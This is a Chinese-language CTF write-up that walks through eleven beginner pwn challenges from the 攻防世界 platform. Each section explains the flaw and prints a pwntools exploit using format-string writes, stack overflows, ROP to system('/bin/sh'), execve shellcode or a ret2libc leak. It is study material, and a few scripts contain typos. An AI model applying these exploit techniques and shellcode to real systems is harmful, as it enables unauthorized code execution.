0x00 get_shell
题目描述:运行就能拿到shell呢,真的
from pwn import *
io = remote('111.198.29.45','36389')
io.interactive()
0x01 CGfsb
题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
1.基本信息:
2.ida查看伪代码,按照题目的提示在主函数找到了printf函数,可以明显的看到ptintf没有按照标准格式 printf("<格式化字符串>", <参量表>) 书写,存在格式化字符串漏洞,pwnme的值等于8的时候可以得到flag
uploading-image-600535.png
printf函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数,根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取),具体可参考ctf-wiki上的在printf处下断点调试。
我们发现pwnme在bss段也就是未手动初始化的数据
uploading-image-274797.png
3.思想:利用格式化字符串的漏洞,将pwnme改成8,就可以成功pwn掉程序
参考链接:http://geekfz.cn/index.php/2019/06/12/pwn-format/
我们现在要做的就是需要知道相对偏移量,确定一下参数是 printf 将要输出的第几个参数
在printf处下断点,name输入aaaa,message输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x。这里有12个%08x,%x是输出16进制数据,08表示宽度为8,不足8为左边按0补齐,12表示输出12个参数。
uploading-image-233887.png
可以看到栈上的数据被输出了,AAAA在第10个位置
uploading-image-450406.png
%n的知识点:
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置
4.构造exp
from pwn import *
io = remote('111.198.29.45','41061')
payload = p32(0x0804A068) + 'aaaa' + %10$n'
io.sendlineafter('name:','aaa')
io.sendlineafter('please:',payload)
io.interactive()
0x02 when_did_you_born
1.基本信息:
uploading-image-882889.png
2.ida分析伪代码,v5不能输入1926,v4输入后v5是1926才能获得flag
uploading-image-299738.png
查看v4和v5的地址,相对地址为8
uploading-image-416529.png
3.栈溢出原理,v4输入长度大于8会覆盖v5的值
4.构造exp
from pwn import *
io = remote('111.198.29.45','52378')
io.sendlineafter('Birth?','999')
io.sendlineafter('Name?','a'*8 + p64(0x786))
io.interactive()
0x03 hello_pwn
1.基本信息:
uploading-image-376073.png
2.ida查看伪代码,只要等式成立便可以获得flag,而unk和dword在bss段距离为4
uploading-image-347738.png
uploading-image-219385.png
3.简单的栈溢出题目,构造exp
from pwn import *
io = remote('111.198.29.45','37812')
io.sendline('a'*4 + p64(0x6e756161))
io.interactive()
0x04 level0
1.基本信息
uploading-image-721493.png
2.ida查看伪代码,在vulnerable_function()函数发现read存在缓存区溢出
buf大小是80h,再加上ebp的8h,于是padding=136
uploading-image-505360.png
然后发现callsystem函数里面有“/bin/sh”
uploading-image-315352.png
3.基础的rop原理,通过覆盖返回地址,直接调用 callsystem("/bin/sh") 的代码,就可以得到系统的 shell 了。payload = padding + ret
4.构造exp
from pwn import *
io = remote('111.198.29.45','30473')
io.sendline('a'*136 + p64(0x000000000040059A))
io.interactive()
0x05 level2
1.基本信息:
uploading-image-662171.png
2.ida查看伪代码,找到了read函数,存在栈溢出
uploading-image-802750.png
3.找到了system函数,用 ROPgadget --binary level2 --string ’/bin/sh‘ 找到“/bin/sh“字符串,
但是“/bin/sh”没有在system函数里面,于是需要构造伪栈帧通过调用system(“/bin/sh”)获得shell,将buf的返回地址用system函数地址覆盖,system函数的返回地址随意填充
知乎上的这篇文章讲ROP比较全面:https://zhuanlan.zhihu.com/p/25892385
uploading-image-260973.png
图片来自https://blog.csdn.net/zpy1998zpy/article/details/89072021
4.构造exp
from pwn import *
io = remote('111.198.29.45','59037')
bin_addr = 0x0804A024
sys_addr = 0x08048320
io.recvuntil('Input:')
io.send('a'*140 + p32(sys_addr) + 'a'*4 + p32(bin_addr))
io.interactive()
0x06 guess_num
1.基本信息:
uploading-image-762545.png
2.ida查看伪代码,程序的意思是连续十次都猜对数字,然后告诉你flag
uploading-image-75478.png
注意看有gets函数,这里存在栈溢出漏洞,查看地址v8和seed相距0x20
3.解这道题必须搞清楚一个知识:随机数生成的原理
参考链接:https://www.jianshu.com/p/0bc6c65addfd
关于rand和srand
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
关于ctype库与dll
我们使用python标准库中自带的ctypes模块进行python和c的混合编程
libc共享库
可以使用ldd查找
总之,解着道题的思路是:我们指定一个随机数的种子,即seed[0],然后在脚本中模拟随机数生成,再将生成的数字输入到程序中,那么就可以一直都能答对,在本题目中我们指定的seed[0]是1。
4.构造exp
from pwn import *
from ctypes import *
io = remote('111.198.29.45','45592')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a'*32 + p64(1)
io.sendlineafter('name:',payload)
for i in range(10):
io.sendlineafter('number:',str(libc.rand()%6 + 1))
io.interactive()
0x07 cgpwn2
1.基本信息:
uploading-image-705968.png
2.ida查看伪代码,hello中存在gets函数,存在栈溢出漏洞,又能找到sysytem函数的地址
uploading-image-707776.png
但是没有找到‘/bin/sh’,可以将‘/bin/sh’写到name里,bin/sh的地址就是name的地址,这里要注意\x00,这是一个转义符,/bin/sh\x00是一个伪造的字符串表
3.惯用的套路,直接用溢出报错,算出s大小加上ebp是42,具体原理参见level2
payload结构是:padding+sys_addr +'a'*4 + bin_addr
4.构造exp
from pwn import *
io = remote('111.198.29.45','34703')
io.sendlineafter('name','/bin/sh\x00')
io.sendlineafter('here:','a'*42 + p32(0x08048420) + 'aaaa' + p32(0x0804A080))
io.interactive()
0x08 string
1.基本信息:
uploading-image-218310.png
2.ida看伪代码,发现这条语句将v1强制转化为函数指针类型,可以将shell写到这里
uploading-image-25869.png
上面的判断条件是a[0] == a[1]成立时,再逆推
uploading-image-276392.png
发现是主函数的v4,v4 = (__int64)v3 ,且v3[0]=68,v3[1]=85,而且程序将v4的地址直接给出了
而看到sub_400BB9函数,很明显有一个格式化字符串漏洞
uploading-image-281672.png
3.这道题原理是绕过前面的一切判断语句,到达v1的位置,写入shell;
v3[0]的地址以及泄露出来了,我们可以利用上面发现的格式化字符串漏洞,将v3[0]改写成85,这样就可以到达v1的位置
4.构造exp
from pwn import *
io = remote('111.198.29.45','41410')
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
io.recvuntil("character's name be:")
io.sendline("kk")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
0x09 int_overflow
1.基本信息
uploading-image-588572.png
2.ida查看伪代码,存在read函数,有栈溢出漏洞,但是需要经过 check_passwd 函数才能将跳出login函数,发现system函数
uploading-image-782369.png
再查看check_passwd函数,password必须是3到8位,v3范围是0~255,超出会造成整数溢出
uploading-image-59240.png
3.进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。dest距ebp是14h,再加上ebp的大小,所以需要24个padding填充;
s长度大于255,s溢出后返回地址覆盖为what_is_this函数的地址,即可得到flag;
4.构造exp
from pwn import *
io = remote('111.198.29.45','32642')
io.sendlineafter('Your choice:','1')
io.sendlineafter('username:','aa')
payload = "a"*24 + p32(0x804868b)
payload = payload.ljust(259,"A")
io.sendlineafter('passwd:',payload)
io.interactive()
0x10 level3
1.基本信息:
2.ida查看伪代码,发现vulnerable_function()函数存在缓存区溢出漏洞,没有找到system和“/bin/sh”
3.我先做的JarvisOJ上的题目,攻防世界这边没给出libc库,但是具体哪一版本的库是可以查出来的
附上查库的github链接:https://github.com/lieanu/libc-database
也可以去JarvisOJ上的level3找到附带的库,我用的这个
参考地址:https://blog.csdn.net/cossack9989/article/details/79326659
发现开启了所有保护,参照大佬的思路,大致思想为:libc里的地址是随机的,但是函数的相对地址是不变的,于是只需要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。
参照这位师傅的步骤,一步步尝试
readelf -a ./libc-2.19.so |grep "read@"
readelf -a ./libc-2.19.so |grep "system@"
readelf -a ./libc-2.19.so |grep "exit@"
strings -a -t x ./libc-2.19.so | grep "/bin/sh"
这四条语句获取函数的相对位置
950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
16084c /bin/sh
4.构造exp
按参数顺序构造输入,write函数返回值设置为vul函数是为了再次调用read函数,来进行第二次攻击,此次就是调用system函数。
exp如下(ps:本地可以执行,攻防世界远程无法执行,可能是服务器的问题)
from pwn import *
io = process('./level3')
elf = ELF('./level3')
libc=ELF('./libc-2.19.so')
write_addr=elf.symbols['write']
vul_addr=elf.symbols['vulnerable_function']
got_addr=elf.got['write']
payload1="a"*140+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr=u32(io.recv(4))
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
system_addr=write_addr-libc_write+libc_system
sh_addr=write_addr-libc_write+libc_sh
payload2='A'*140+p32(system_addr)+"aaaa"+p32(sh_addr)
io.sendline(payload2)
io.interactive()
参考链接:
手把手教你栈溢出从入门到放弃(上)https://zhuanlan.zhihu.com/p/25816426
手把手教你栈溢出从入门到放弃(下)https://zhuanlan.zhihu.com/p/25892385
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/